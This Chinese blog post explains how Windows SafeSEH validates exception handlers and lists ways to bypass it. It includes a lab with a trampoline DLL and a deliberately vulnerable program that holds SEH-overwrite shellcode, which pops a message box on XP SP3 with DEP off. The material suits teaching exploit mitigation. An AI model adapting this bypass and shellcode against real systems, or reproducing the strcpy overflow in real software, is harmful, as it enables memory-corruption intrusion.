标签:style blog http color io os 使用 ar strong
SafeSEH 对异常处理的保护原理
在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。
VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:
1 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01 2 Copyright (C) Microsoft Corporation. All rights reserved. 3 4 Dump of file gs.exe 5 6 File Type: EXECUTABLE IMAGE 7 8 Section contains the following load config: 9 10 00000048 size 11 0 time date stamp 12 0.00 Version 13 0 GlobalFlags Clear 14 0 GlobalFlags Set 15 0 Critical Section Default Timeout 16 0 Decommit Free Block Threshold 17 0 Decommit Total Free Threshold 18 00000000 Lock Prefix Table 19 0 Maximum Allocation Size 20 0 Virtual Memory Threshold 21 0 Process Heap Flags 22 0 Process Affinity Mask 23 0 CSD Version 24 0000 Reserved 25 00000000 Edit list 26 00403000 Security Cookie 27 004021C0 Safe Exception Handler Table 28 1 Safe Exception Handler Count 29 30 Safe Exception Handler Table 31 32 Address 33 -------- 34 004017F5 __except_handler4 35 36 Summary 37 38 1000 .data 39 1000 .rdata 40 1000 .reloc 41 1000 .rsrc 42 1000 .text
SafeSEH 机制从 RtlDispatchException() 开始:
1. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。 2. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。 3. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。
Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:
1 BOOL RtlIsValidHandler( handler ) 2 { 3 if (handler is in the loaded image) // 在加载模块的内存空间内 4 { 5 if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag) 6 return FALSE; // 程序设置了忽略异常处理 7 if (image has a SafeSEH table) // 含有 SafeSEH 表说明程序启用了 SafeSEH 8 if (handler found in the table) // 异常处理函数地址在表中 9 return TRUE; 10 else 11 return FALSE; 12 if (image is a .NET assembly with the ILonly flag set) 13 return FALSE; // 包含 IL 标志的 .NET 中间语言程序 14 } 15 16 if (handler is on non-executable page) // 在不可执行页上 17 { 18 if (ExecuteDispatchEnable bit set in the process flags) 19 return TRUE; // DEP 关闭 20 else 21 raise ACCESS_VIOLATION; // 访问违例异常 22 } 23 24 if (handler is not in an image) // 在可执行页上,但在加载模块之外 25 { 26 if (ImageDispatchEnable bit set in the process flags) 27 return TRUE; // 允许加载模块内存空间外执行 28 else 29 return FALSE; 30 } 31 return TRUE; // 允许执行异常处理函数 32 }
由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:
1. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭 2. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行 3. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中
针对以上三种可能性:
1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行
2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)
3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。
SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!
另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;
绕过 SafeSEH
方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。
方法二:攻击虚函数表来绕过 SafeSEH。
方法三:将 shellcode 部署在堆中以绕过 SafeSEH。
方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)
利用未启用 SafeSEH 的模块绕过 SafeSEH
思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。
以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:
1 // Windows XP Sp3 & VC++6.0 2 // Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project 3 // Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining ) 4 // Compile : SEH_NOSafeSEH_JUMP.DLL 5 // 6 // SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application. 7 // 8 9 #include "stdafx.h" 10 11 BOOL APIENTRY DllMain( HANDLE hModule, 12 DWORD ul_reason_for_call, 13 LPVOID lpReserved 14 ) 15 { 16 return TRUE; 17 } 18 19 void jump() 20 { 21 __asm { 22 pop eax 23 pop eax 24 retn 25 } 26 }
这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:http://www.openrce.org/downloads/details/244/OllySSEH%20target=
将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:
1 // safeseh.cpp : Defines the entry point for the console application. 2 // 3 // Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 4 // 5 #include "stdafx.h" 6 #include <string.h> 7 #include <windows.h> 8 9 char shellcode[]= 10 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 11 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 12 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 13 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 14 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 21 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 23 "\x90\x90\x90\x90\x90\x90\x90\x90" 24 "\xEB\x0E\x90\x90\xB6\x11\x12\x11" // SEH Pointer & Handler 25 "\x90\x90\x90\x90\x90\x90\x90\x90" 26 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 27 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 28 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 29 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 30 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 31 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 32 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 33 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 34 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 35 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 36 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode 37 ; 38 39 DWORD MyException(void) 40 { 41 printf("call MyException()"); 42 getchar(); 43 return 1; 44 } 45 46 void test(char * input) 47 { 48 char str[200]; 49 strcpy(str,input); 50 51 int zero=0; 52 __try 53 { 54 zero/=zero; 55 } 56 __except (MyException()) 57 { 58 } 59 } 60 61 int main(int argc, _TCHAR* argv[]) 62 { 63 HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll")); 64 printf("hInst : %d\n",hInst); 65 char str[200]; 66 //__asm int 3 67 test(shellcode); 68 return 0; 69 }
标签:style blog http color io os 使用 ar strong
原文地址:http://www.cnblogs.com/exclm/p/3958738.html